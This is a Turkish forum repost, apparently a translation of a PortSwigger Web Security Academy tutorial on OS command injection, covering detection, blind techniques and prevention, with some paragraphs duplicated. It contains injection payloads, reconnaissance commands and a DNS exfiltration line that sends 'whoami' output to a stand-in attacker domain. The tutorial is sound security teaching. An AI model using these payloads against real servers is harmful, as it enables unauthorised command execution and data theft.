Bu bölümde, OS komut enjeksiyonunun ne olduğunu açıklayacak, güvenlik açıklarının nasıl tespit edilebileceğini ve kötüye kullanılabileceğini anlatacağız. Ayrıca, farklı işletim sistemleri için bazı yararlı komutlar ve teknikler açıklayacak ve OS komut enjeksiyonunu nasıl önleyeceğimizi özetleyeceğiz.
Eğer OS komut enjeksiyonu güvenlik açıklarının temel kavramlarıyla zaten tanışıksanız ve gerçekçi, kasıtlı olarak savunmasız hedefler üzerinde bu açıkları kullanarak pratik yapmak isterseniz, bu konudaki tüm laboratuvarlara aşağıdaki bağlantıdan erişebilirsiniz.Tüm OS komut enjeksiyonu laboratuvarlarını görüntüleyin
İşletim sistemi komut enjeksiyonu nedir?
OS komut enjeksiyonu (aynı zamanda shell enjeksiyonu olarak da bilinir), bir saldırganın bir uygulamayı çalıştıran sunucuda keyfi işletim sistemi (OS) komutlarını yürütebilmesini sağlayan bir güvenlik açığıdır ve genellikle uygulamayı ve tüm verilerini tamamen tehlikeye atar. Saldırgan sık sık bir OS komut enjeksiyonu açığını kullanarak barındırma altyapısının diğer bölümlerini tehlikeye atabilir ve saldırıyı kuruluşun içindeki diğer sistemlere yönlendirmek için güven ilişkilerinden yararlanabilir.
İsteğe bağlı komutları yürütme
Bir alışveriş uygulamasını düşünün; kullanıcının belirli bir mağazadaki bir ürünün stokta olup olmadığını görebildiği bir uygulama. Bu bilgi, aşağıdaki gibi bir URL üzerinden erişilebilir:
https://insecure-website.com/stockStatus?productID=381&storeID=29
Stok bilgisini sağlamak için uygulama, çeşitli eski sistemlere sorgu yapmalıdır. Tarihi nedenlerle, işlevsellik, ürün ve mağaza kimliklerini argüman olarak kullanarak bir shell komutunu çağırarak uygulanmıştır.
Bu komut, belirtilen ürün için stok durumunu çıktı olarak verir ve kullanıcıya döndürür.
Uygulama, OS komut enjeksiyonuna karşı herhangi bir savunma uygulamadığı için, bir saldırgan aşağıdaki girişi göndererek keyfi bir komutu çalıştırabilir:
Bu giriş productID parametresine gönderilirse, uygulama tarafından çalıştırılan komut şu şekildedir:
Echo komutu, bazı OS komut enjeksiyon türlerini test etmek için kullanışlı olan bir komuttur. & karakteri bir shell komutu ayırıcısıdır, bu nedenle gerçekte üç ayrı komut sırasıyla çalıştırılır. Sonuç olarak, kullanıcıya döndürülen çıktı şudur:
Üç satır çıktı aşağıdakileri göstermektedir:OS komut enjeksiyonu (aynı zamanda shell enjeksiyonu olarak da bilinir), bir saldırganın bir uygulamayı çalıştıran sunucuda keyfi işletim sistemi (OS) komutlarını yürütebilmesini sağlayan bir güvenlik açığıdır ve genellikle uygulamayı ve tüm verilerini tamamen tehlikeye atar. Saldırgan sık sık bir OS komut enjeksiyonu açığını kullanarak barındırma altyapısının diğer bölümlerini tehlikeye atabilir ve saldırıyı kuruluşun içindeki diğer sistemlere yönlendirmek için güven ilişkilerinden yararlanabilir.
İsteğe bağlı komutları yürütme
Bir alışveriş uygulamasını düşünün; kullanıcının belirli bir mağazadaki bir ürünün stokta olup olmadığını görebildiği bir uygulama. Bu bilgi, aşağıdaki gibi bir URL üzerinden erişilebilir:
https://insecure-website.com/stockStatus?productID=381&storeID=29
Stok bilgisini sağlamak için uygulama, çeşitli eski sistemlere sorgu yapmalıdır. Tarihi nedenlerle, işlevsellik, ürün ve mağaza kimliklerini argüman olarak kullanarak bir shell komutunu çağırarak uygulanmıştır.
Kod:
stockreport.pl 381 29
Uygulama, OS komut enjeksiyonuna karşı herhangi bir savunma uygulamadığı için, bir saldırgan aşağıdaki girişi göndererek keyfi bir komutu çalıştırabilir:
Kod:
& echo aiwefwlguh &
Kod:
stockreport.pl & echo aiwefwlguh & 29
Kod:
Error - productID was not providedaiwefwlguh29: command not found
- Beklenen argümanları olmadan orijinal stockreport.pl komutu çalıştırıldı ve bir hata mesajı döndürüldü.
- Enjekte edilen echo komutu çalıştırıldı ve sağlanan dize çıktıda yankılandı.
- Orijinal 29 argümanı bir komut olarak çalıştırıldı ve bir hata oluşturdu.
Yararlı Komutlar
Bir OS komut enjeksiyonu güvenlik açığı tespit ettiğinizde, genellikle etkilediğiniz sistem hakkında bilgi edinmek için bazı başlangıç komutlarını çalıştırmak faydalı olabilir. Aşağıda, Linux ve Windows platformlarında kullanışlı olan bazı komutların özeti bulunmaktadır:
Komut Amaçları | Linux | Windows |
---|---|---|
Mevcut Kullanıcının Adı | whoami | whoami |
İşletim Sistemi | uname -a | ver |
Ağ Yapılandırması | ifconfig | ipconfig /all |
Ağ Bağlantıları | netstat -an | netstat -an |
Çalışan Süreçler | ps -ef | tasklist |
Blind OS Komut Enjeksiyonu Güvenlik Açıkları
Çok sayıda OS komut enjeksiyonu örneği blind güvenlik açıklarıdır. Bu, uygulamanın komutun çıktısını HTTP yanıtı içinde döndürmediği anlamına gelir. Blind güvenlik açıkları hala sömürülebilir, ancak farklı teknikler gerektirir.
Bir web sitesini düşünün, kullanıcıların site hakkında geri bildirim göndermelerine izin veriyor. Kullanıcı e-posta adresini ve geri bildirim mesajını girer. Sunucu tarafındaki uygulama daha sonra geri bildirimi içeren bir e-posta oluşturur ve site yöneticisine gönderir. Bunun için sunucu, sunulan detaylarla birlikte posta programını çağırır. Örneğin:
"mail" komutunun çıktısı (varsa) uygulamanın yanıtlarında döndürülmediği için "echo" komutuyla bir saldırı yetersiz olacaktır. Bu durumda, bir güvenlik açığını tespit etmek ve sömürmek için çeşitli diğer teknikleri kullanabilirsiniz.
Zaman Gecikmelerini Kullanarak Blind OS Komut Enjeksiyonunu Tespit Etmek
Uygulamanın yanıt vermesi için zaman gecikmesi sağlayacak bir enjekte edilmiş komut kullanabilirsiniz. Komutun çalıştırıldığını, uygulamanın tepki verme süresine göre doğrulamanıza olanak tanır. Bunun için ping komutu etkili bir yol sağlar, çünkü ICMP paketlerinin gönderileceği sayıyı belirtebilir ve böylece komutun çalışması için geçen süreyi ölçebilirsiniz:
Bu komut, uygulamanın yerel döngü ağ adaptörüne 10 saniye boyunca ping atmasına neden olacaktır.
Çıktıyı Yönlendirerek Blind OS Komut Enjeksiyonunu Kötüye Kullanma
Enjekte edilen komutun çıktısını, tarayıcı kullanarak alabileceğiniz web kökünde bir dosyaya yönlendirebilirsiniz. Örneğin, uygulama "/var/www/static" dosya sistemi konumundan statik kaynakları sunuyorsa, aşağıdaki girişi gönderebilirsiniz:
">" karakteri, "whoami" komutunun çıktısını belirtilen dosyaya gönderir. Ardından tarayıcıyı kullanarak "https://vulnerable-website.com/whoami.txt" adresinden dosyayı alabilir ve enjekte edilen komutun çıktısını görüntüleyebilirsiniz.
Dışbant (OAST) Tekniklerini Kullanarak Blind OS Komut Enjeksiyonunu Kötüye Kullanma
OAST tekniklerini kullanarak, kontrol ettiğiniz bir sistemle dışbant ağ etkileşimi başlatacak bir enjekte edilmiş komut kullanabilirsiniz. Örneğin:
Bu payload, belirtilen alan adı için DNS araması yapmak için nslookup komutunu kullanır. Saldırgan, belirtilen aramanın gerçekleştiğini izleyebilir ve böylece komutun başarıyla enjekte edildiğini tespit edebilir.
Dışbant kanalı, enjekte edilen komutların çıktısını dışarıya çıkarmak için kolay bir yol sağlar.
Bu, whoami komutunun sonucunu içeren bir DNS aramasıyla saldırganın alan adına neden olacaktır.
OS Komutlarının Enjekte Edilmesi Yöntemleri
OS komut enjeksiyonu saldırıları için çeşitli kabuk meta karakterleri kullanılabilir.
Bir dizi karakter, komutların birbirine zincirlenerek çalışmasını sağlayan komut ayırıcıları olarak işlev görür. Aşağıdaki komut ayırıcıları hem Windows hem de Unix tabanlı sistemlerde çalışır:
Çok sayıda OS komut enjeksiyonu örneği blind güvenlik açıklarıdır. Bu, uygulamanın komutun çıktısını HTTP yanıtı içinde döndürmediği anlamına gelir. Blind güvenlik açıkları hala sömürülebilir, ancak farklı teknikler gerektirir.
Bir web sitesini düşünün, kullanıcıların site hakkında geri bildirim göndermelerine izin veriyor. Kullanıcı e-posta adresini ve geri bildirim mesajını girer. Sunucu tarafındaki uygulama daha sonra geri bildirimi içeren bir e-posta oluşturur ve site yöneticisine gönderir. Bunun için sunucu, sunulan detaylarla birlikte posta programını çağırır. Örneğin:
Kod:
mail -s "This site is great" -aFrom:[email protected] [email protected]
Zaman Gecikmelerini Kullanarak Blind OS Komut Enjeksiyonunu Tespit Etmek
Uygulamanın yanıt vermesi için zaman gecikmesi sağlayacak bir enjekte edilmiş komut kullanabilirsiniz. Komutun çalıştırıldığını, uygulamanın tepki verme süresine göre doğrulamanıza olanak tanır. Bunun için ping komutu etkili bir yol sağlar, çünkü ICMP paketlerinin gönderileceği sayıyı belirtebilir ve böylece komutun çalışması için geçen süreyi ölçebilirsiniz:
Kod:
& ping -c 10 127.0.0.1 &
Çıktıyı Yönlendirerek Blind OS Komut Enjeksiyonunu Kötüye Kullanma
Enjekte edilen komutun çıktısını, tarayıcı kullanarak alabileceğiniz web kökünde bir dosyaya yönlendirebilirsiniz. Örneğin, uygulama "/var/www/static" dosya sistemi konumundan statik kaynakları sunuyorsa, aşağıdaki girişi gönderebilirsiniz:
Kod:
& whoami > /var/www/static/whoami.txt &
Dışbant (OAST) Tekniklerini Kullanarak Blind OS Komut Enjeksiyonunu Kötüye Kullanma
OAST tekniklerini kullanarak, kontrol ettiğiniz bir sistemle dışbant ağ etkileşimi başlatacak bir enjekte edilmiş komut kullanabilirsiniz. Örneğin:
Kod:
& nslookup kgji2ohoyw.web-attacker.com &
Dışbant kanalı, enjekte edilen komutların çıktısını dışarıya çıkarmak için kolay bir yol sağlar.
Kod:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Kod:
wwwuser.kgji2ohoyw.web-attacker.com
OS komut enjeksiyonu saldırıları için çeşitli kabuk meta karakterleri kullanılabilir.
Bir dizi karakter, komutların birbirine zincirlenerek çalışmasını sağlayan komut ayırıcıları olarak işlev görür. Aşağıdaki komut ayırıcıları hem Windows hem de Unix tabanlı sistemlerde çalışır:
- &
- &&
- |
- ||
- ;
- Newline (0x0a or \n)
`enjekte edilen komut`
$(enjekte edilen komut)
Farklı kabuk meta karakterlerinin farklı davranışları olabilir ve bazı durumlarda çalışıp çalışmadığını, komut çıktısının içbant alınmasına izin verip vermediğini veya yalnızca kör saldırılar için kullanışlı olup olmadığını etkileyebilir.
Bazen, kontrol ettiğiniz giriş orijinal komutta tırnak işaretleri içinde görünür. Bu durumda, yeni bir komut enjekte etmek için uygun kabuk meta karakterlerini kullanmadan önce tırnak içindeki bağlamı sonlandırmanız gerekmektedir (" veya ' kullanarak).
İşletim Sistemi Komut Enjeksiyon Saldırıları Nasıl Önlenir?
OS komut enjeksiyonu güvenlik açıklarını önlemenin en etkili yolu, uygulama katmanı kodundan asla işletim sistemi komutları çağırmamaktır. Hemen hemen her durumda, gerekli işlevselliği daha güvenli platform API'leri kullanarak alternatif şekillerde uygulamak mümkündür.Eğer kullanıcı tarafından sağlanan girişlerle işletim sistemi komutlarını çağırmak kaçınılmaz olarak değerlendiriliyorsa, güçlü giriş doğrulaması yapılmalıdır. Etkili doğrulama yöntemlerinden bazıları şunlardır:
- İzin verilen değerlerin beyaz listesine karşı doğrulama yapmak.
- Girişin bir sayı olduğunu doğrulamak.
- Girişin yalnızca alfanumerik karakterler içerdiğini, başka bir sözdizimi veya boşluk olmadığını doğrulamak.
- Girişi kabuk meta karakterlerini kaçırarak temizlemeye çalışmamak. Uygulamada bu, hata yapma olasılığı çok yüksek olan ve becerikli bir saldırgan tarafından atlatılabilen bir yöntemdir.
Orijinal:
What is OS command injection, and how to prevent it? | Web Security Academy
In this section, we explain what OS command injection is, and describe how vulnerabilities can be detected and exploited. We also show you some useful ...
portswigger.net
Moderatör tarafında düzenlendi: